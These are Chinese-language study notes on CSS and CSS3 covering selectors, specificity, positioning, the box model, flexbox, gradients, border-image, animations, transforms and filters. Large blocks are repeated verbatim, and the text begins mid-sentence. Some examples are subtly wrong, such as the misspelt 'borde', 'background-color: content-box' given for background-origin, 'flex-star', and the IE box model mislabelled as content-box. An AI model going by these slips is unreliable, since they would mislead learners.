支持使用百分百,例如300px*100px的图片,30%就是裁剪图片90px*30px的四个边的大小 也可以使用4个数,代表上右下左要裁剪的数值 重复方式只是其中一种方式,可以用于设置图像边界是否要重复或者拉伸,铺满 重复(repeat),拉伸(stretch),平铺(round) stretch(拉伸)为默认值,所以会裁剪出来的图片比边框小,就会拉伸,以保证填满边框 可以使用两个参数,当使用一个参数时,水平方向以及垂直方向都使用这个参数 当使用两个参数时,第一个参数代表水平方向,第二个参数表示垂直方向 border-image还有4个子属性 指定要用于绘制边框的图像的位置 border-image-source 图像边界向内收缩 border-image-slice 图像边界的宽度 可以使用带单位的,百分百,不带单位的(倍数),auto border-image-width 指定在边框外部绘制 border-image-area 的量 就是原本的位置向外拉伸 border-image-outset 用于设置图像边界是否要重复或者拉伸,铺满 border-image-repeat 引入css 内联css: // 要写在开始标签中 嵌入css: div{color: #fff;} 外部css: 优先级:内联 > 嵌入 > 外部 选择器 标签选择器:div{} id选择器:#main{} 类选择器:.main{} 子选择器:.main>div{} 后代选择器:.main div{} 通用选择器:*{} 伪类选择器:a:{} 分组选择器:div,span{} id选择器只能在文档中使用一次,类选择器可以使用多次 选择器的优先级是: 内联 > id > 类 > 标签 > 通配符 标签的权值为1 类选择器的权值为10 ID选择器的权值为100 伪类选择器是10 权值越大,优先级就越大 优先级最大的!important,例如: div{color:#fff!important;} 样式 字体font-family div{font-family:“Microsoft Yahei”;} 字体大小font-size div{font-size:16px;} 字体粗细font-weight div{font-weight:bold;} 字体样式font-style div{font-style:normal;} 字体颜色color div{color:#fff;} 文本样式text-decoration div{text-decoration:none;} 文本首行缩进text-indent div{text-indent:2em;} 文本行间间距line-height div{line-height:2em;} 增加或减少每一个文字的间距 letter-spacing div{letter-spacing:10px;} 增加或减少每个英文单词之间的间距word-spacing div{word-spacing:10px;} 文本对齐方式text-align div{text-align:center;} 定位: 定位有两种,绝对定位和相当定位 相对定位和绝对定位都有四个属性 left(左),top(头),right(右),bottom(底) 绝对定位: 设置绝对定位的元素会脱离文档流,所以不会占用空间 div{ position: absolute; } 绝对定位的元素的位置相对于元素最近的已定位的祖先元素,如果没有,那么相对于最初的包含块(也就是body) 相对定位: 相对定位的元素的位置相对于元素最初的位置,使用相对定位时,元素会占据原来的空间,所以,移动元素会覆盖其他元素 div{ position: relative; } css有下面这些选择器 id选择器(#myid) 类选择器(.myclassname) 标签选择器(div,h1,p) 后代选择器(h1p) 相邻后代选择器(子)选择器(ul>li) 兄弟选择器(li~a) 相邻兄弟选择器(li+a) 属性选择器(a[rel=“external”]) 伪类选择器(a:hover,li:nth-child) 伪元素选择器(::before、::after) 通配符选择器(*) 在css3中使用单冒号来表示伪类,用双冒号来表示伪元素 伪类一般用于匹配元素的一些状态,而伪元素一般用于匹配元素的位置 CSS3 圆角 使用border-radius属性 可以使用1——4个值 1个值,表示四个角都使用这个值 2个值,表示第一个值对应左上和右下,第二个值对应左下和右上 3个值,表示第一个值对应左上,第二个值对应左下和右上,第三个值表示右下 4个值,表示第一个值对应左上,第二个值对应右上,第三个值表示右下,第四个值表示左下 单独设置圆角 左上角 border-top-left-radius 右上角 border-top-right-radius 右下角 border-bottom-right-radius 左下角 border-bottom-left-radius css阴影 box-shadow: 10px 10px 10px #fff; 第一个值是阴影水平位移,第二个值为阴影垂直位移,第三个值为模糊半径 第四个值为阴影颜色 transition属性 例如: div{ width: 100px; height: 100px; background: #000; transition: width 1s; } div:hover{ background: #f6f6f6; } z-index属性 该属性用于堆叠元素的顺序,高级的元素会堆叠在低级的元素前面,例如: #app{ z-index: -1; } font-family属性 该属性用于设置元素字体,可以设置多个字体,当第一个字体不支持时,自动尝试设置下一个字体 @keyframes 规则:这个规则是可以将样式以动画方式(特定时间)逐渐地从当前样式修改为新的样式,当超过特定时间又恢复原来的样式 #app{ width: 100px; height: 100px; background-color: #000; animation-name: test; animation-duration: 6s; animation-delay: 3s; animation-iteration-count: infinite; } @keyframes test { from{ background-color: #000; } to{ background-color: #ccc; } } background-image 该属性可以添加背景,可以添加多张背景,例如: #app{ background-image: url(1.jpg),url(2.jpg); background-position: left top,right bottom; background-repeat: no-repeat,repeat; } background-size 该属性可以指定背景的大小,例如: #app{ background-image: url(1.jpg); background-repeat: no-repeat; background-size: 100px 100px; } background-origin 该属性可以指定背景的位置区域(外边框(border-box),内边框(padding-box),内容区(content-box)),例如: background-color: content-box; background-clip 该属性可以将背景裁剪到指定位置(外边框(border-box),内边框(padding-box),内容区(content-box),例如: background-clip: content-box; 渐变分为线性渐变(直线)和径向渐变(中心) 线性渐变(默认从上到下) #app{ width: 300px; height: 300px; background-image: linear-gradient(#ccc,#000); } 从左到右 #app{ width: 300px; height: 300px; background-image: linear-gradient(to right ,#ccc,#000); } 从左上角到右下角 #app{ width: 300px; height: 300px; background-image: linear-gradient(to right bottom ,#ccc,#000); } 带角度的(不能指定方向) #app{ width: 300px; height: 300px; background-image: linear-gradient(30deg,#ccc,#000); } 带透明度的 #app{ width: 300px; height: 300px; background-image: linear-gradient(30deg,rgb(255,0,0,1),rgb(0,0,0,0)); } 带重复的 #app{ width: 300px; height: 300px; background-image: repeating-linear-gradient(#ccc, #fcfcfc 20%, #000 30%); } 径向渐变 #app{ width: 300px; height: 300px; background-image: radial-gradient(#fff, #ccc, #000,#fc0000); } 必须要有两个以上的颜色,第一个颜色在中间,依次往外排 同样可以设置每个颜色的占比 #app{ width: 300px; height: 300px; background-image: radial-gradient(#fff 10%, #ccc 20%, #000 30%,#fc0000 40%); } 当元素是不正的,那么径向渐变默认就是椭圆的(ellipse),也可以指定为圆形的(circle) #app{ width: 300px; height: 250px; background-image: radial-gradient(circle,#fff, #ccc, #000,#fc0000); } 还提供了定义渐变大小的关键字,分别是closest-side,farthest-side,closest-corner,farthest-corner 当然也提供了可以重复渐变的,例如: #app{ width: 300px; height: 250px; background-image: repeating-radial-gradient(circle,#000 20%, #fc0000 30% , yellow 50%); } 文本阴影 #app{ text-shadow: 5px 5px 5px #000; } 值分别为水平阴影,垂直阴影,模糊度,阴影颜色 元素盒子阴影 #app{ box-shadow: 5px 5px 5px #000; } 容器文本溢出处理 #app{ text-overflow: ellipsis; } 文本溢出默认为text-overflow: clip 自动强制文本换行(当单词或者某个文本太长,就会强制换行,避免文本溢出) #app{ word-wrap: break-word; } @font-face 规则 该规则允许使用客户端没有的字体,例如: @font-face { font-family: hallo; src: url("hallo.ttf"); } div{ font-family: hallo; } 必需属性font-family:字体名称 src:字体文件的url 在需要用字体的元素上font-family: 字体名称 过渡动画,会逐渐式加载样式,例如 #app{ width: 100px; height: 100px; background-color: #333; transition: height 3s,width 3s,transform 3s; } #app:hover{ width: 300px; height: 300px; transform: rotate(360deg); } 当鼠标移动到该元素上,那么会在3秒内逐渐转换为指定样式,移开鼠标那么又会逐渐恢复原来的样式 column-count 属性,该属性可以将元素中的文本分成指定列,例如 #app{ column-count: 3; } 每个列之间的距离使用column-gap属性指定,例如 #app{ column-count: 3; column-gap: 20px; } column-rule-style属性可以指定每个列分隔的边框样式,例如下面样式为实线 #app{ column-count: 3; column-gap: 20px; column-rule-style: solid; } column-rule-width属性可以指定列的边框之间的宽度,例如 #app{ column-count: 3; column-gap: 20px; column-rule-style: solid; column-rule-width: 1px; } column-rule-color属性可以指定列的边框的颜色,例如: #app{ column-count: 3; column-gap: 20px; column-rule-style: solid; column-rule-width: 6px; column-rule-color: #000; } 当然列的边框的样式可以缩写,例如: #app{ column-rule: 6px solid #000; } 如果在父元素内,某个子元素不想被分列影响,直接指定子元素,例如 div{ column-span: all; } column-width可以指定列的宽度,例如 div{ column-width: 300px; } column-gap属性和column-width属性之间的区别,就是column-gap控制的是列与列之间的距离,而column-width控制的却是列本身的宽度 动画,可以指定时间,在指定时间内逐渐成另一种样式,可以指定动画的过程的样式,例如 #app{ width: 300px; height: 300px; background-color:#ccc; animation: hallo 5s; } @keyframes hallo{ 0% {background-color: #ccc;} 25% {background-color: #fff;} 50% {background-color: #222;} 75% {background-color: #f3f3f3} 100% {background-color: #777;} } 0%为动画开始,100%为动画结束,当动画结束时样式会恢复原来定义的样式,除了用百分比表示进度,也可以用from(起点)和to(终点)表示 能修改颜色,当然也能修改位置,例如: #app{ width: 300px; height: 300px; background-color:#ccc; animation: hallo 5s; position: relative; } @keyframes hallo{ 0% { background-color: #ccc; top: 0px; left: 0px; } 25% { background-color: #fff; top: 0px; left: 300px; } 50% { background-color: #222; top: 300px; left: 300px; } 75% { background-color: #f3f3f3; top: 300px; left: 0px; } 100%{ background-color: #777; top: 0px; left: 0px; } } 二维改变样式 旋转(值为正数则顺时针转,值为负数则逆时针转) #app{ width: 300px; height: 300px; background-color: #ccc; transform: rotate(60deg); } 平移(根据x(左),y(上)轴决定) #app{ width: 300px; height: 300px; background-color: #ccc; transform: translate(100px,100px); } 放大或者缩小 #app{ width: 300px; height: 300px; background-color: #ccc; transform: scale(2,2); } 宽度和高度是原来的2倍 倾斜(根据x(水平),y(垂直)轴决定,默认为0,值为负数则逆时针转) #app{ width: 300px; height: 300px; background-color: #ccc; transform: skew(10deg,30deg); } 同样也可以缩写为一个属性 #app{ width: 300px; height: 300px; background-color:#ccc; transform:matrix(0.6,1.5,-0.5,1.2,3,3); } 这个6个值分别代表旋转,放大或者缩小,平移,倾斜 三维改变样式 #app{ width: 300px; height: 300px; background-color:#ccc; transform: rotateX(60deg); } #app{ width: 300px; height: 300px; background-color:#ccc; transform: rotateY(60deg); } #app{ width: 300px; height: 300px; background-color:#ccc; transform: rotateZ(60deg); } 旋转元素的起始位置 #app{ width: 300px; height: 300px; background-color:#ccc; transform: rotate(60deg); transform-origin: 30% 60%; } 拓展 #app{ width: 500px; height: 500px; perspective: 200; perspective-origin: 10% 20%; background-color: #000; } #app div{ width: 300px; height: 300px; background-color:#ccc; transform: rotateX(60deg); transform-style: preserve-3d; backface-visibility: hidden; } backface-visibility属性用于指定背面是否显示 perspective-origin属性用于改变底部位置 perspective属性用于查看透视图(z只支持3D元素) transform-style属性用于是否保留3d位置保留 css强制换行,避免文本溢出容器 white-space: pre-wrap; normal:默认,空白被忽略 nowrap:文本不换行,文本在同一行继续 pre:保留空格,换行保留,不自动换行 pre-wrap:保留完整空格,保留换行符,自动换行 pre-line:保留空格(可能不完整),保留换行 filter属性滤镜 该属性默认值为none 背景为黑白 filter: grayscale(100%); 高斯模糊 filter: blur(3px); 亮度 filter: brightness(160%); 对比度 filter: contrast(160%); 透明度 filter: opacity(30%); 饱和度 filter: saturate(300%); 阴影 filter: drop-shadow(5px 5px 6px #ccc); 色相旋转 filter: hue-rotate(30deg); 颠倒输入 filter: invert(30%); 允许使用多个滤镜,多个滤镜有空格分开 表格布局(现在很少用,一般都是用div+css) 该元素会作为块级表格(例如table标签,有换行) display: table; 内联表格(没换行) display: inline-table; 表格行(例如tr) display: table-row; 表格单元格(例如td) display: table-cell; 表格标题 display: table-caption; 单元格列 display: table-column;
盒子模型 盒模型在css中是用来封装html元素的,因为本质上来看像个盒子一样,所以叫盒模型或者盒子模型,术语叫box model 外边距(margin):一般用于控制同辈元素之间的间距 边框(border):在内边距和内容之外的边框 内边距(padding):内边框是用于控制内容的距离 内容(content):内容,一般为文本和图像 例子:建立一个宽度为100px,10px的内边距,10px的外边距,10px的红色边框的盒子 div{ width: 100px; borde: 10px solid red; padding: 10px; margin: 10px; } top,bottom,left,right分别代表了上,下,左,右 或者padding: 上,右,下,左,只有一个数字就表示上,下,左,右都是这个数值 有两个数值就是分别代表上下和左右,有三个数值表示上和左右和下 这个盒子大小应该是内容的宽度+内边距+边框+外边距 100+20+20+20=160 两种盒模型 IE 盒子模型(box-sizing content-box)(怪异盒模型) IE盒模型的width与height是content、padding和border的总和 调用IE盒模型 box-sizing: border-box; W3C标准盒模型(box-sizing content-box) 标准盒模型的width与height只含content,不包括padding和border 调用W3C标准盒模型 box-sizing: content-box; 在IE6,7,8浏览器中不声明DOCTYPE类型,那么在IE6,7,8浏览器中会将盒子模型解释为IE盒子模型 如果在页面中声明了DOCTYPE类型,那么所有的浏览器都会把盒模型解释为W3C盒模型 JavaScript获取盒模型的宽和高(这里的DOM不是指整个dom,而是某个元素) DOM.style.width和DOM.style.height(只能获取内联样式) DOM.currentStyle.width和DOM.currentStyle.height(只支持IE) window.getComputedStyle(DOM).width和window.getComputedStyle(DOM).height(兼容性好) 获取元素相对于视窗的位置(top,right,bottom,left都可以获取) let data = DOM.getBoundingClientRect() data.top 有BFC特性的元素是一个被“隔离”的容器,该容器里面的元素不会在布局上影响到外面的元素 满足下面其中一个条件就触发BFC特性 body 根元素 浮动元素 float除none外的值 绝对定位元素 position (absolute、fixed) display 为 inline-block、table-cells、flex overflow 除了 visible 以外的值 (hidden、auto、scroll) BFC的特性: BFC是页面上的独立容器,该容器使用类型浮动之类会影响布局的元素都不会影响到外界的布局或者元素 例子: 1.当处于同一个BFC容器时,外边距会进行重叠,为了避免重叠,可以将其放在不同的BFC容器内 2.当容器内的元素使用的浮动,将其脱离了文档流,要触发容器的BFC,那么BFC容器要包含使用了浮动的元素 3.当第一个元素使用了浮动,希望第二个元素不被浮动元素影响,要在第二个元素上触发BFC特性 flex为Flexible Box 的缩写,意为"弹性盒模型",为其盒模型提供足够大的灵活性 div{ display: flex; } 使用flex布局的元素,被称为flex容器,该元素的所有子元素为该容器的成员,称为flex项目 flex-direction 一般用到四个值 row:在水平方向上,起点在左 row-reverse:在水平方向上,起点在右 column:在垂直方向上,起点在上。 column-reverse:在垂直方向上,起点在下。 flex-wrap 一般用到三个值 nowrap:不换行 wrap:当容器宽度不足时换行,第一行在上方 wrap-reverse:当容器宽度不足时换行,第一行在下方 flex-flow是flex-direction和flex-wrap简写版,它们两个的属性都可以使用 例如flex-flow: row-reverse wrap-reverse; 表达了换行,第一行在下方,起点在右 justify-content 定义项目在主轴上的对齐方式 flex-star:左对齐 flex-end:右对齐 center: 居中 space-between:两端对齐,每个项目之间的间隔都相等 space-around:每个项目两侧的间隔相等,所以项目之间的间隔比项目与边框的间隔大一倍 align-items flex-start:头部对齐 flex-end:底部对齐 center:居中对齐 baseline: 项目的第一行文字的基线对齐 stretch:当项目没有设置高度或设置为auto时,将占满整个容器的高度 align-content flex-start:元素位于容器的开头 flex-end:元素位于容器的结尾 center:元素位于容器的中心 space-between:元素位于各行之间留有空白的容器内 space-around:元素位于各行之前、之间、之后都留有空白的容器内 stretch:默认值,元素被拉伸以适应容器 单独用于元素的属性 order 控制元素的顺序,数值越小排列就越靠前 order:1 flex-grow 控制元素的宽度 如果都为1,还有剩余的空间,那么将会等分剩余的空间 如果有一个为2,那么为2所占的剩余空间比为1的大1倍 flex-grow: 2 flex-shrink 控制元素宽度 如果都为1时,当空间不足时,将会等比例缩小 如果有一个为2时,那么当空间不足时 flex-shrink: 2 flex-basis 控制元素的初始宽度 \flex-basis: 100px flex 控制元素都有相同的宽度,不会被内容的长度撑开 \flex: 1 align-self 控制元素单独对齐方式 align-self: auto | flex-start | flex-end | center | baseline | stretch; 背景 定位 在box盒子内部的背景默认是在盒子的内边距的左上角对齐 background-origin属性则规定background是相对于什么位置来定位的 .box{ width: 300px; height: 300px; padding: 10px; margin: 10px; background: url("hallo.jpg"); background-origin: padding-box; } background-origin属性值有3个,padding-box:相对于内边距定位,border-box:相对于边框定位,content-box:相对于内容区域 裁切 .box{ width: 300px; height: 300px; padding: 10px; margin: 10px; background: url("hallo.jpg"); background-clip: padding-box; } background-clip属性提供相对于什么位置进行背景裁切,该属性值和background-origin一样 背景尺寸 .box{ width: 300px; height: 300px; padding: 10px; margin: 10px; background: url("hallo.jpg"); background-size: 100px 100px; } background-size属性可以直接指定大小,也是可以cover或者contain填充 cover会按照原来的缩放比来填满整个盒子,而contain是按照原来缩放比,完整的填充盒子(不会填满) 边框 边框阴影 .box{ width: 300px; height: 300px; border: 1px solid red; box-shadow: 0px 0px 6px #ccc; border-radius: 6px; } box-shadow,第一个值为阴影在水平方向的偏移量(正数为正方向,负数为反方向) 第二个值为阴影在垂直方向的偏移量(正数为朝下,负数为朝上) 第三个值为阴影的模糊度 第四个值为阴影的颜色 border-radius为边框圆角 边框图片 .box{ width: 300px; height: 300px; border: 1px solid red; border-image-source: url("hallo.jpg"); // 边框图片 border-image-slice: 10; // 边框图片向内的偏移量 border-image-repeat: round; // 边框图片的平铺方式 border-image-width: 10px; // 边框图片的宽度 } border-image-repeat有4个常用值 stretch(默认值):拉伸图形来填充 repeat:平铺(重复)图形来填充 round:如果无法完整平铺,那么就进行缩放来适应 space:如果无法完整平铺,那么就进行扩展来适应 文本阴影 text-shadow,有4个值,分别是水平方向的偏移量,垂直方向的偏移量,模糊度,阴影的颜色 伪类选择器 :first-child:选择父元素中的第一个子元素 :last-child:选择父元素中的最后一个子元素 :nth-child(n) :选择父元素中正数第n个子元素 :nth-last-child(n) :选择父元素中倒数第n个子元素 n的值必须要大于等于0,也可以是表达式 :target:选择被锚链接指向 ::selection:选择被鼠标选中 例如: :target{ background-color: #ccc; } \跳转至1 … 1 或者 p::selection:{ background-color: #ccc; } xxx … xxx ::first-line:选择第一行 ::first-letter:选择第一个字符 例如: div{ width: 100px; height: 100px; } div::first-line{ background-color: #ccc; } div::first-letter{ background-color: #000; } sjdasfkdskbdsalkddsfjdslsakfbsdlss xxx test 过渡 .box1 { width: 300px; height: 300px; background-color: red; transition-property: all; transition-duration: 3s; } .box1:hover { width: 500px; height: 500px; background-color: #ccc; } transition-property:表示哪些属性要参与到过渡动画效果,all表示全部 transition-duration:表示过渡执行时间 transition-delay: 设置过渡执行前等待的时间 transition-timing-function:过渡的速度类型,linear为相同速度,ease为开始慢速,变快,然后慢速结束,ease-in慢速开始,ease-out慢速结束,ease-in-out以慢速开始和结束,cubic-bezier开始到结束的不同速度过渡,用小数来表示进度,例如cubic-bezier(0.1, 0.3, 0.6, 0.1) CSS3 border-image border-image可以在元素的边框上绘制图像,规范要求使用borde-images时边框样式必须存在 border-image: url(./logo.jpg) 10 repeat 上面这行代表使用图片logo.jpg,裁剪位置10,使用重复方式 图片:使用url()调用,路径可以是绝对或者相对,也可以不用图片,即none 裁剪位置:默认单位为px,10表示10px,不需要写单位 支持使用百分百,例如300px*100px的图片,30%就是裁剪图片90px*30px的四个边的大小 也可以使用4个数,代表上右下左要裁剪的数值 重复方式只是其中一种方式,可以用于设置图像边界是否要重复或者拉伸,铺满 重复(repeat),拉伸(stretch),平铺(round) stretch(拉伸)为默认值,所以会裁剪出来的图片比边框小,就会拉伸,以保证填满边框 可以使用两个参数,当使用一个参数时,水平方向以及垂直方向都使用这个参数 当使用两个参数时,第一个参数代表水平方向,第二个参数表示垂直方向 border-image还有4个子属性 指定要用于绘制边框的图像的位置 border-image-source 图像边界向内收缩 border-image-slice 图像边界的宽度 可以使用带单位的,百分百,不带单位的(倍数),auto border-image-width 指定在边框外部绘制 border-image-area 的量 就是原本的位置向外拉伸 border-image-outset 用于设置图像边界是否要重复或者拉伸,铺满 border-image-repeat 引入css 内联css: // 要写在开始标签中 嵌入css: div{color: #fff;} 外部css: 优先级:内联 > 嵌入 > 外部 选择器 标签选择器:div{} id选择器:#main{} 类选择器:.main{} 子选择器:.main>div{} 后代选择器:.main div{} 通用选择器:*{} 伪类选择器:a:{} 分组选择器:div,span{} id选择器只能在文档中使用一次,类选择器可以使用多次 选择器的优先级是: 内联 > id > 类 > 标签 > 通配符 标签的权值为1 类选择器的权值为10 ID选择器的权值为100 伪类选择器是10 权值越大,优先级就越大 优先级最大的!important,例如: div{color:#fff!important;} 样式 字体font-family div{font-family:“Microsoft Yahei”;} 字体大小font-size div{font-size:16px;} 字体粗细font-weight div{font-weight:bold;} 字体样式font-style div{font-style:normal;} 字体颜色color div{color:#fff;} 文本样式text-decoration div{text-decoration:none;} 文本首行缩进text-indent div{text-indent:2em;} 文本行间间距line-height div{line-height:2em;} 增加或减少每一个文字的间距 letter-spacing div{letter-spacing:10px;} 增加或减少每个英文单词之间的间距word-spacing div{word-spacing:10px;} 文本对齐方式text-align div{text-align:center;} 定位: 定位有两种,绝对定位和相当定位 相对定位和绝对定位都有四个属性 left(左),top(头),right(右),bottom(底) 绝对定位: 设置绝对定位的元素会脱离文档流,所以不会占用空间 div{ position: absolute; } 绝对定位的元素的位置相对于元素最近的已定位的祖先元素,如果没有,那么相对于最初的包含块(也就是body) 相对定位: 相对定位的元素的位置相对于元素最初的位置,使用相对定位时,元素会占据原来的空间,所以,移动元素会覆盖其他元素 div{ position: relative; } css有下面这些选择器 id选择器(#myid) 类选择器(.myclassname) 标签选择器(div,h1,p) 后代选择器(h1p) 相邻后代选择器(子)选择器(ul>li) 兄弟选择器(li~a) 相邻兄弟选择器(li+a) 属性选择器(a[rel=“external”]) 伪类选择器(a:hover,li:nth-child) 伪元素选择器(::before、::after) 通配符选择器(*) 在css3中使用单冒号来表示伪类,用双冒号来表示伪元素 伪类一般用于匹配元素的一些状态,而伪元素一般用于匹配元素的位置 CSS3 圆角 使用border-radius属性 可以使用1——4个值 1个值,表示四个角都使用这个值 2个值,表示第一个值对应左上和右下,第二个值对应左下和右上 3个值,表示第一个值对应左上,第二个值对应左下和右上,第三个值表示右下 4个值,表示第一个值对应左上,第二个值对应右上,第三个值表示右下,第四个值表示左下 单独设置圆角 左上角 border-top-left-radius 右上角 border-top-right-radius 右下角 border-bottom-right-radius 左下角 border-bottom-left-radius css阴影 box-shadow: 10px 10px 10px #fff; 第一个值是阴影水平位移,第二个值为阴影垂直位移,第三个值为模糊半径 第四个值为阴影颜色 transition属性 例如: div{ width: 100px; height: 100px; background: #000; transition: width 1s; } div:hover{ background: #f6f6f6; } z-index属性 该属性用于堆叠元素的顺序,高级的元素会堆叠在低级的元素前面,例如: #app{ z-index: -1; } font-family属性 该属性用于设置元素字体,可以设置多个字体,当第一个字体不支持时,自动尝试设置下一个字体 @keyframes 规则:这个规则是可以将样式以动画方式(特定时间)逐渐地从当前样式修改为新的样式,当超过特定时间又恢复原来的样式 #app{ width: 100px; height: 100px; background-color: #000; animation-name: test; animation-duration: 6s; animation-delay: 3s; animation-iteration-count: infinite; } @keyframes test { from{ background-color: #000; } to{ background-color: #ccc; } } background-image 该属性可以添加背景,可以添加多张背景,例如: #app{ background-image: url(1.jpg),url(2.jpg); background-position: left top,right bottom; background-repeat: no-repeat,repeat; } background-size 该属性可以指定背景的大小,例如: #app{ background-image: url(1.jpg); background-repeat: no-repeat; background-size: 100px 100px; } background-origin 该属性可以指定背景的位置区域(外边框(border-box),内边框(padding-box),内容区(content-box)),例如: background-color: content-box; background-clip 该属性可以将背景裁剪到指定位置(外边框(border-box),内边框(padding-box),内容区(content-box),例如: background-clip: content-box; 渐变分为线性渐变(直线)和径向渐变(中心) 线性渐变(默认从上到下) #app{ width: 300px; height: 300px; background-image: linear-gradient(#ccc,#000); } 从左到右 #app{ width: 300px; height: 300px; background-image: linear-gradient(to right ,#ccc,#000); } 从左上角到右下角 #app{ width: 300px; height: 300px; background-image: linear-gradient(to right bottom ,#ccc,#000); } 带角度的(不能指定方向) #app{ width: 300px; height: 300px; background-image: linear-gradient(30deg,#ccc,#000); } 带透明度的 #app{ width: 300px; height: 300px; background-image: linear-gradient(30deg,rgb(255,0,0,1),rgb(0,0,0,0)); } 带重复的 #app{ width: 300px; height: 300px; background-image: repeating-linear-gradient(#ccc, #fcfcfc 20%, #000 30%); } 径向渐变 #app{ width: 300px; height: 300px; background-image: radial-gradient(#fff, #ccc, #000,#fc0000); } 必须要有两个以上的颜色,第一个颜色在中间,依次往外排 同样可以设置每个颜色的占比 #app{ width: 300px; height: 300px; background-image: radial-gradient(#fff 10%, #ccc 20%, #000 30%,#fc0000 40%); } 当元素是不正的,那么径向渐变默认就是椭圆的(ellipse),也可以指定为圆形的(circle) #app{ width: 300px; height: 250px; background-image: radial-gradient(circle,#fff, #ccc, #000,#fc0000); } 还提供了定义渐变大小的关键字,分别是closest-side,farthest-side,closest-corner,farthest-corner 当然也提供了可以重复渐变的,例如: #app{ width: 300px; height: 250px; background-image: repeating-radial-gradient(circle,#000 20%, #fc0000 30% , yellow 50%); } 文本阴影 #app{ text-shadow: 5px 5px 5px #000; } 值分别为水平阴影,垂直阴影,模糊度,阴影颜色 元素盒子阴影 #app{ box-shadow: 5px 5px 5px #000; } 容器文本溢出处理 #app{ text-overflow: ellipsis; } 文本溢出默认为text-overflow: clip 自动强制文本换行(当单词或者某个文本太长,就会强制换行,避免文本溢出) #app{ word-wrap: break-word; } @font-face 规则 该规则允许使用客户端没有的字体,例如: @font-face { font-family: hallo; src: url("hallo.ttf"); } div{ font-family: hallo; } 必需属性font-family:字体名称 src:字体文件的url 在需要用字体的元素上font-family: 字体名称 过渡动画,会逐渐式加载样式,例如 #app{ width: 100px; height: 100px; background-color: #333; transition: height 3s,width 3s,transform 3s; } #app:hover{ width: 300px; height: 300px; transform: rotate(360deg); } 当鼠标移动到该元素上,那么会在3秒内逐渐转换为指定样式,移开鼠标那么又会逐渐恢复原来的样式 column-count 属性,该属性可以将元素中的文本分成指定列,例如 #app{ column-count: 3; } 每个列之间的距离使用column-gap属性指定,例如 #app{ column-count: 3; column-gap: 20px; } column-rule-style属性可以指定每个列分隔的边框样式,例如下面样式为实线 #app{ column-count: 3; column-gap: 20px; column-rule-style: solid; } column-rule-width属性可以指定列的边框之间的宽度,例如 #app{ column-count: 3; column-gap: 20px; column-rule-style: solid; column-rule-width: 1px; } column-rule-color属性可以指定列的边框的颜色,例如: #app{ column-count: 3; column-gap: 20px; column-rule-style: solid; column-rule-width: 6px; column-rule-color: #000; } 当然列的边框的样式可以缩写,例如: #app{ column-rule: 6px solid #000; } 如果在父元素内,某个子元素不想被分列影响,直接指定子元素,例如 div{ column-span: all; } column-width可以指定列的宽度,例如 div{ column-width: 300px; } column-gap属性和column-width属性之间的区别,就是column-gap控制的是列与列之间的距离,而column-width控制的却是列本身的宽度 动画,可以指定时间,在指定时间内逐渐成另一种样式,可以指定动画的过程的样式,例如 #app{ width: 300px; height: 300px; background-color:#ccc; animation: hallo 5s; } @keyframes hallo{ 0% {background-color: #ccc;} 25% {background-color: #fff;} 50% {background-color: #222;} 75% {background-color: #f3f3f3} 100% {background-color: #777;} } 0%为动画开始,100%为动画结束,当动画结束时样式会恢复原来定义的样式,除了用百分比表示进度,也可以用from(起点)和to(终点)表示 能修改颜色,当然也能修改位置,例如: #app{ width: 300px; height: 300px; background-color:#ccc; animation: hallo 5s; position: relative; } @keyframes hallo{ 0% { background-color: #ccc; top: 0px; left: 0px; } 25% { background-color: #fff; top: 0px; left: 300px; } 50% { background-color: #222; top: 300px; left: 300px; } 75% { background-color: #f3f3f3; top: 300px; left: 0px; } 100%{ background-color: #777; top: 0px; left: 0px; } } 二维改变样式 旋转(值为正数则顺时针转,值为负数则逆时针转) #app{ width: 300px; height: 300px; background-color: #ccc; transform: rotate(60deg); } 平移(根据x(左),y(上)轴决定) #app{ width: 300px; height: 300px; background-color: #ccc; transform: translate(100px,100px); } 放大或者缩小 #app{ width: 300px; height: 300px; background-color: #ccc; transform: scale(2,2); } 宽度和高度是原来的2倍 倾斜(根据x(水平),y(垂直)轴决定,默认为0,值为负数则逆时针转) #app{ width: 300px; height: 300px; background-color: #ccc; transform: skew(10deg,30deg); } 同样也可以缩写为一个属性 #app{ width: 300px; height: 300px; background-color:#ccc; transform:matrix(0.6,1.5,-0.5,1.2,3,3); } 这个6个值分别代表旋转,放大或者缩小,平移,倾斜 三维改变样式 #app{ width: 300px; height: 300px; background-color:#ccc; transform: rotateX(60deg); } #app{ width: 300px; height: 300px; background-color:#ccc; transform: rotateY(60deg); } #app{ width: 300px; height: 300px; background-color:#ccc; transform: rotateZ(60deg); } 旋转元素的起始位置 #app{ width: 300px; height: 300px; background-color:#ccc; transform: rotate(60deg); transform-origin: 30% 60%; } 拓展 #app{ width: 500px; height: 500px; perspective: 200; perspective-origin: 10% 20%; background-color: #000; } #app div{ width: 300px; height: 300px; background-color:#ccc; transform: rotateX(60deg); transform-style: preserve-3d; backface-visibility: hidden; } backface-visibility属性用于指定背面是否显示 perspective-origin属性用于改变底部位置 perspective属性用于查看透视图(z只支持3D元素) transform-style属性用于是否保留3d位置保留 css强制换行,避免文本溢出容器 white-space: pre-wrap; normal:默认,空白被忽略 nowrap:文本不换行,文本在同一行继续 pre:保留空格,换行保留,不自动换行 pre-wrap:保留完整空格,保留换行符,自动换行 pre-line:保留空格(可能不完整),保留换行 filter属性滤镜 该属性默认值为none 背景为黑白 filter: grayscale(100%); 高斯模糊 filter: blur(3px); 亮度 filter: brightness(160%); 对比度 filter: contrast(160%); 透明度 filter: opacity(30%); 饱和度 filter: saturate(300%); 阴影 filter: drop-shadow(5px 5px 6px #ccc); 色相旋转 filter: hue-rotate(30deg); 颠倒输入 filter: invert(30%); 允许使用多个滤镜,多个滤镜有空格分开 表格布局(现在很少用,一般都是用div+css) 该元素会作为块级表格(例如table标签,有换行) display: table; 内联表格(没换行) display: inline-table; 表格行(例如tr) display: table-row; 表格单元格(例如td) display: table-cell; 表格标题 display: table-caption; 单元格列 display: table-column;
